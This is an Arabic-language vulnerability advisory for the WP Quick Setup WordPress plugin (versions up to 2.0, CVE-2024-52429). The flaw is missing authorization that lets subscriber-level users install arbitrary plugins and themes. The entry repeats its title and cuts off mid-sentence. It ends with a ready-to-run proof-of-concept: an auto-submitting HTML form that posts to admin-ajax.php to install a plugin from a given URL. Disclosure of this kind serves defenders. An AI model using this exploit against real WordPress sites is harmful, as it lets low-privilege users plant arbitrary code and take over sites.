
WP Quick Setup <= 2.0 - فقدان التفويض يسمح للمستخدمين المصادَق عليهم (مشترك فأعلى) بتثبيت إضافات/قوالب بشكل تعسفي
WP Quick Setup <= 2.0 - غياب التفويض الذي يسمح لمستخدم مصادق (مشترك+) بتثبيت إضافات/قوالب بشكل تعسفي
إن إضافة WP Quick Setup الخاصة بـ WordPress عرضة لتثبيت إضافات وقوالب غير مصرح بها بسبب غياب فحص الصلاحيات على إحدى الدوال في جميع الإصدارات حتى 2.0. وهذا يجعلها
Type: plugin
CVSS Score: 8.8
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVE: CVE-2024-52429
سجّل الدخول كمشترك ثم شغّل هذا HTML
<html>
<body>
<form action="https://wp-dev.ddev.site/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="wes_install_plugins" />
<input type="hidden" name="plugin_urls[]" value="https://downloads.wordpress.org/plugin/wdes-responsive-mobile-menu.zip" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>